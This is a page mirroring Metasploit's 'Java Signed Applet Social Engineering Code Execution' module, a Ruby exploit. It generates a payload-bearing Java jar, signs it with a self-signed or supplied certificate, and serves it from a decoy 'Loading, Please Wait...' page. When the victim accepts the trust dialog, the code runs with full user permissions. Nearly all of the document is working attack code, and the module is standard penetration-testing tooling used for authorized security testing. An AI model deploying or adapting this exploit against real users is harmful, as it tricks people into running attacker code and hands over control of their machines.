Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_signed_applet.rb
31527 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
include Msf::Exploit::EXE
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Java Signed Applet Social Engineering Code Execution',
19
'Description' => %q{
20
This exploit dynamically creates a .jar file via the
21
Msf::Exploit::Java mixin, then signs the it. The resulting
22
signed applet is presented to the victim via a web page with
23
an applet tag. The victim's JVM will pop a dialog asking if
24
they trust the signed applet.
25
26
On older versions the dialog will display the value of CERTCN
27
in the "Publisher" line. Newer JVMs display "UNKNOWN" when the
28
signature is not trusted (i.e., it's not signed by a trusted
29
CA). The SigningCert option allows you to provide a trusted
30
code signing cert, the values in which will override CERTCN.
31
If SigningCert is not given, a randomly generated self-signed
32
cert will be used.
33
34
Either way, once the user clicks "run", the applet executes
35
with full user permissions.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [ 'natron' ],
39
'References' => [
40
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
41
],
42
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
43
'Targets' => [
44
[
45
'Generic (Java Payload)',
46
{
47
'Platform' => ['java'],
48
'Arch' => ARCH_JAVA
49
}
50
],
51
[
52
'Windows x86 (Native Payload)',
53
{
54
'Platform' => 'win',
55
'Arch' => ARCH_X86
56
}
57
],
58
[
59
'Linux x86 (Native Payload)',
60
{
61
'Platform' => 'linux',
62
'Arch' => ARCH_X86
63
}
64
],
65
[
66
'Mac OS X PPC (Native Payload)',
67
{
68
'Platform' => 'osx',
69
'Arch' => ARCH_PPC
70
}
71
],
72
[
73
'Mac OS X x86 (Native Payload)',
74
{
75
'Platform' => 'osx',
76
'Arch' => ARCH_X86
77
}
78
]
79
],
80
'DefaultTarget' => 1,
81
'DisclosureDate' => '1997-02-19',
82
'Notes' => {
83
'Reliability' => UNKNOWN_RELIABILITY,
84
'Stability' => UNKNOWN_STABILITY,
85
'SideEffects' => UNKNOWN_SIDE_EFFECTS
86
}
87
)
88
)
89
90
register_options([
91
OptString.new('CERTCN', [
92
true,
93
"The CN= value for the certificate. Cannot contain ',' or '/'",
94
'SiteLoader'
95
]),
96
OptString.new('APPLETNAME', [
97
true,
98
"The main applet's class name.",
99
'SiteLoader'
100
]),
101
OptPath.new('SigningCert', [
102
false,
103
'Path to a signing certificate in PEM or PKCS12 (.pfx) format'
104
]),
105
OptPath.new('SigningKey', [
106
false,
107
'Path to a signing key in PEM format'
108
]),
109
OptString.new('SigningKeyPass', [
110
false,
111
'Password for signing key (required if SigningCert is a .pfx)'
112
]),
113
])
114
end
115
116
def setup
117
load_cert
118
load_applet_class
119
super
120
end
121
122
def on_request_uri(cli, request)
123
if !request.uri.match(/\.jar$/i)
124
if !request.uri.match(%r{/$})
125
send_redirect(cli, get_resource + '/', '')
126
return
127
end
128
129
print_status('Handling request')
130
131
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
132
return
133
end
134
135
p = regenerate_payload(cli)
136
if !p
137
print_error('Failed to generate the payload.')
138
# Send them a 404 so the browser doesn't hang waiting for data
139
# that will never come.
140
send_not_found(cli)
141
return
142
end
143
144
# If we haven't returned yet, then this is a request for our applet
145
# jar, build one for this victim.
146
jar = p.encoded_jar(random: true)
147
148
jar.add_file("#{datastore['APPLETNAME']}.class", @applet_class)
149
150
jar.build_manifest(main_class: 'metasploit.Payload', app_name: "#{datastore['APPLETNAME']}")
151
152
jar.sign(@key, @cert, @ca_certs)
153
# File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
154
155
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
156
send_response(cli, jar.to_s, { 'Content-Type' => 'application/octet-stream' })
157
158
handler(cli)
159
end
160
161
def load_applet_class
162
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
163
if datastore['APPLETNAME']
164
unless datastore['APPLETNAME'] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
165
fail_with(Failure::BadConfig, 'APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)')
166
end
167
siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }
168
# Java strings are prefixed with a 2-byte, big endian length
169
find_me = ['SiteLoader'.length].pack('n') + 'SiteLoader'
170
idx = siteloader.index(find_me)
171
len = [datastore['APPLETNAME'].length].pack('n')
172
# Now replace it with the new class name
173
siteloader[idx, 'SiteLoader'.length + 2] = len + datastore['APPLETNAME']
174
else
175
# Don't need to replace anything, just read it in
176
siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }
177
end
178
@applet_class = siteloader
179
end
180
181
def load_cert
182
if datastore['SigningCert']
183
cert_str = File.open(datastore['SigningCert'], 'rb') { |fd| fd.read(fd.stat.size) }
184
begin
185
pfx = OpenSSL::PKCS12.new(cert_str, datastore['SigningKeyPass'])
186
@cert = pfx.certificate
187
@key = pfx.key
188
@ca_certs = pfx.ca_certs
189
rescue OpenSSL::PKCS12::PKCS12Error
190
# it wasn't pkcs12, try it as concatenated PEMs
191
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
192
@cert = OpenSSL::X509::Certificate.new(certs.shift)
193
@ca_certs = nil
194
while certs.length > 0
195
@ca_certs ||= []
196
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
197
end
198
199
if datastore['SigningKey'] and File.file?(datastore['SigningKey'])
200
File.open(datastore['SigningKey'], 'rb') { |fd| fd.read(fd.stat.size) }
201
else
202
cert_str
203
end
204
205
# First try it as RSA and fallback to DSA if that doesn't work
206
begin
207
@key = OpenSSL::PKey::RSA.new(cert_str, datastore['SigningKeyPass'])
208
rescue OpenSSL::PKey::RSAError
209
@key = OpenSSL::PKey::DSA.new(cert_str, datastore['SigningKeyPass'])
210
end
211
end
212
else
213
# Name.parse uses a simple regex that isn't smart enough to allow
214
# slashes or commas in values, just remove them.
215
certcn = datastore['CERTCN'].gsub(%r{[/,]}, '')
216
x509_name = OpenSSL::X509::Name.parse(
217
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
218
)
219
220
@key = OpenSSL::PKey::DSA.new(1024)
221
@cert = OpenSSL::X509::Certificate.new
222
@cert.version = 2
223
@cert.serial = 1
224
@cert.subject = x509_name
225
@cert.issuer = x509_name
226
@cert.public_key = @key.public_key
227
@cert.not_before = Time.now
228
# FIXME: this will break in the year 2037 on 32-bit systems
229
@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year
230
end
231
end
232
233
def generate_html
234
html = %(<html><head><title>Loading, Please Wait...</title></head>\n)
235
html << %(<body><center><p>Loading, Please Wait...</p></center>\n)
236
html << %(<applet archive="#{get_resource.sub(%r{/$}, '')}/#{datastore['APPLETNAME']}.jar"\n)
237
vprint_line(html)
238
if @use_static
239
html << %( code="SiteLoader" width="1" height="1">\n)
240
else
241
html << %( code="#{datastore['APPLETNAME']}" width="1" height="1">\n)
242
end
243
html << %(</applet>\n</body></html>)
244
return html
245
end
246
247
# Currently unused until we ship a java compiler of some sort
248
def applet_code
249
<<~EOS
250
import java.applet.*;
251
import metasploit.*;
252
253
public class #{datastore['APPLETNAME']} extends Applet {
254
public void init() {
255
try {
256
Payload.main(null);
257
} catch (Exception ex) {
258
//ex.printStackTrace();
259
}
260
}
261
}
262
EOS
263
end
264
end
265
266
=begin
267
268
The following stores a bunch of intermediate files on the path to creating the signature. The
269
ImportKey class used for testing was obtained from:
270
http://www.agentbob.info/agentbob/79-AB.html
271
272
system("rm -rf signed_jar/*")
273
File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }
274
File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }
275
File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }
276
277
File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
278
system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")
279
system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")
280
system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")
281
system("mv ~/keystore.ImportKey ~/.keystore")
282
system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")
283
284
jar.sign(@key, @cert)
285
File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }
286
287
=end
288
289